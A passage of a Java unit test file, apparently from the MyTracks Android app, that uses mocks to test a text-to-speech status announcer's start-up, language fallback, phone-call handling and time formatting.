// Eww, the effort required just to mock TextToSpeech is insane
final AtomicBoolean listenerCalled = new AtomicBoolean();
OnInitListener blockingListener = new OnInitListener() {
@Override
public void onInit(int status) {
synchronized (this) {
listenerCalled.set(true);
notify();
}
}
};
ttsDelegate = new TextToSpeechDelegate(getContext(), blockingListener);
// Wait for all async operations done in the constructor to finish.
synchronized (blockingListener) {
while (!listenerCalled.get()) {
// Releases the synchronized lock until we're woken up.
blockingListener.wait();
}
}
// Phew, done, now we can start forwarding calls
tts = AndroidMock.createMock(TextToSpeechInterface.class);
initListenerCapture = new Capture<OnInitListener>();
phoneListenerCapture = new Capture<PhoneStateListener>();
// Create a partial forwarding mock
mockTask = AndroidMock.createMock(StatusAnnouncerTask.class, getContext());
task = new StatusAnnouncerTask(getContext()) {
@Override
protected TextToSpeech newTextToSpeech(Context ctx,
OnInitListener onInitListener) {
return mockTask.newTextToSpeech(ctx, onInitListener);
}
@Override
protected String getAnnouncement(TripStatistics stats) {
return mockTask.getAnnouncement(stats);
}
@Override
protected void listenToPhoneState(
PhoneStateListener listener, int events) {
mockTask.listenToPhoneState(listener, events);
}
};
}
@Override
protected void tearDown() {
Locale.setDefault(oldDefaultLocale);
}
public void testStart() {
doStart();
OnInitListener ttsInitListener = initListenerCapture.getValue();
assertNotNull(ttsInitListener);
expect(tts.isLanguageAvailable(DEFAULT_LOCALE))
.andStubReturn(TextToSpeech.LANG_AVAILABLE);
expect(tts.setLanguage(DEFAULT_LOCALE))
.andReturn(TextToSpeech.LANG_AVAILABLE);
expect(tts.setSpeechRate(StatusAnnouncerTask.TTS_SPEECH_RATE))
.andReturn(TextToSpeech.SUCCESS);
AndroidMock.replay(tts);
ttsInitListener.onInit(TextToSpeech.SUCCESS);
AndroidMock.verify(mockTask, tts);
}
public void testStart_languageNotSupported() {
doStart();
OnInitListener ttsInitListener = initListenerCapture.getValue();
assertNotNull(ttsInitListener);
expect(tts.isLanguageAvailable(DEFAULT_LOCALE))
.andStubReturn(TextToSpeech.LANG_NOT_SUPPORTED);
expect(tts.setLanguage(Locale.ENGLISH))
.andReturn(TextToSpeech.LANG_AVAILABLE);
expect(tts.setSpeechRate(StatusAnnouncerTask.TTS_SPEECH_RATE))
.andReturn(TextToSpeech.SUCCESS);
AndroidMock.replay(tts);
ttsInitListener.onInit(TextToSpeech.SUCCESS);
AndroidMock.verify(mockTask, tts);
}
public void testStart_notReady() {
doStart();
OnInitListener ttsInitListener = initListenerCapture.getValue();
assertNotNull(ttsInitListener);
AndroidMock.replay(tts);
ttsInitListener.onInit(TextToSpeech.ERROR);
AndroidMock.verify(mockTask, tts);
}
public void testShutdown() {
// First, start
doStart();
AndroidMock.verify(mockTask);
AndroidMock.reset(mockTask);
// Then, shut down
PhoneStateListener phoneListener = phoneListenerCapture.getValue();
mockTask.listenToPhoneState(
same(phoneListener), eq(PhoneStateListener.LISTEN_NONE));
tts.shutdown();
AndroidMock.replay(mockTask, tts);
task.shutdown();
AndroidMock.verify(mockTask, tts);
}
public void testRun() throws Exception {
// Expect service data calls
TripStatistics stats = new TripStatistics();
// Expect announcement building call
expect(mockTask.getAnnouncement(same(stats))).andStubReturn(ANNOUNCEMENT);
// Put task in "ready" state
startTask(TextToSpeech.SUCCESS);
// Expect actual announcement call
expect(tts.speak(
eq(ANNOUNCEMENT), eq(TextToSpeech.QUEUE_FLUSH),
AndroidMock.<HashMap<String, String>>isNull()))
.andReturn(TextToSpeech.SUCCESS);
// Run the announcement
AndroidMock.replay(tts);
task.runWithStatistics(stats);
AndroidMock.verify(mockTask, tts);
}
public void testRun_notReady() throws Exception {
// Put task in "not ready" state
startTask(TextToSpeech.ERROR);
// Run the announcement
AndroidMock.replay(tts);
task.runWithStatistics(null);
AndroidMock.verify(mockTask, tts);
}
public void testRun_duringCall() throws Exception {
startTask(TextToSpeech.SUCCESS);
expect(tts.isSpeaking()).andStubReturn(false);
// Run the announcement
AndroidMock.replay(tts);
PhoneStateListener phoneListener = phoneListenerCapture.getValue();
phoneListener.onCallStateChanged(TelephonyManager.CALL_STATE_OFFHOOK, null);
task.runWithStatistics(null);
AndroidMock.verify(mockTask, tts);
}
public void testRun_ringWhileSpeaking() throws Exception {
startTask(TextToSpeech.SUCCESS);
expect(tts.isSpeaking()).andStubReturn(true);
expect(tts.stop()).andReturn(TextToSpeech.SUCCESS);
AndroidMock.replay(tts);
// Update the state to ringing - this should stop the current announcement.
PhoneStateListener phoneListener = phoneListenerCapture.getValue();
phoneListener.onCallStateChanged(TelephonyManager.CALL_STATE_RINGING, null);
// Run the announcement - this should do nothing.
task.runWithStatistics(null);
AndroidMock.verify(mockTask, tts);
}
public void testRun_whileRinging() throws Exception {
startTask(TextToSpeech.SUCCESS);
expect(tts.isSpeaking()).andStubReturn(false);
// Run the announcement
AndroidMock.replay(tts);
PhoneStateListener phoneListener = phoneListenerCapture.getValue();
phoneListener.onCallStateChanged(TelephonyManager.CALL_STATE_RINGING, null);
task.runWithStatistics(null);
AndroidMock.verify(mockTask, tts);
}
public void testRun_noService() throws Exception {
startTask(TextToSpeech.SUCCESS);
// Run the announcement
AndroidMock.replay(tts);
task.run(null);
AndroidMock.verify(mockTask, tts);
}
public void testRun_noStats() throws Exception {
// Expect service data calls
startTask(TextToSpeech.SUCCESS);
// Run the announcement
AndroidMock.replay(tts);
task.runWithStatistics(null);
AndroidMock.verify(mockTask, tts);
}
/**
* Tests {@link StatusAnnouncerTask#getAnnounceTime(long)} with time zero.
*/
public void testGetAnnounceTime_time_zero() {
long time = 0; // 0 seconds
assertEquals("0 minutes 0 seconds", task.getAnnounceTime(time));
}
/**
* Tests {@link StatusAnnouncerTask#getAnnounceTime(long)} with time one.
*/
public void testGetAnnounceTime_time_one() {
long time = 1 * 1000; // 1 second
assertEquals("0 minutes 1 second", task.getAnnounceTime(time));
}
/**
* Tests {@link StatusAnnouncerTask#getAnnounceTime(long)} with singular
* numbers with the hour unit.
*/
public void testGetAnnounceTime_singular_has_hour() {
long time = (1 * 60 * 60 * 1000) + (1 * 60 * 1000) + (1 * 1000); // 1 hour 1 minute 1 second
assertEquals("1 hour 1 minute", task.getAnnounceTime(time));
}
/**
* Tests {@link StatusAnnouncerTask#getAnnounceTime(long)} with plural numbers
* with the hour unit.
*/
public void testGetAnnounceTime_plural_has_hour() {
long time = (2 * 60 * 60 * 1000) + (2 * 60 * 1000) + (2 * 1000); // 2 hours 2 minutes 2 seconds
assertEquals("2 hours 2 minutes", task.getAnnounceTime(time));
}
/**
* Tests {@link StatusAnnouncerTask#getAnnounceTime(long)} with singular
* numbers without the hour unit.
*/
public void testGetAnnounceTime_singular_no_hour() {
long time = (1 * 60 * 1000) + (1 * 1000); // 1 minute 1 second
assertEquals("1 minute 1 second", task.getAnnounceTime(time));
}
/**
* Tests {@link StatusAnnouncerTask#getAnnounceTime(long)} with plural numbers
* without the hour unit.
*/
public void testGetAnnounceTime_plural_no_hour() {
long time = (2 * 60 * 1000) + (2 * 1000); // 2 minutes 2 seconds
assertEquals("2 minutes 2 seconds", task.getAnnounceTime(time));
}
private void startTask(int state) {
AndroidMock.resetToNice(tts);
AndroidMock.replay(tts);
doStart();
OnInitListener ttsInitListener = initListenerCapture.getValue();
ttsInitListener.onInit(state);
AndroidMock.resetToDefault(tts);
}
private void doStart() {
mockTask.listenToPhoneState(capture(phoneListenerCapture),
eq(PhoneStateListener.LISTEN_CALL_STATE));
expect(mockTask.newTextToSpeech(
same(getContext()), capture(initListenerCapture)))
.andStubReturn(ttsDelegate);
AndroidMock.replay(mockTask);
task.start();
}
}
| 0359xiaodong-mytracks | MyTracksTest/src/com/google/android/apps/mytracks/services/tasks/StatusAnnouncerTaskTest.java | Java | asf20 | 17,180 |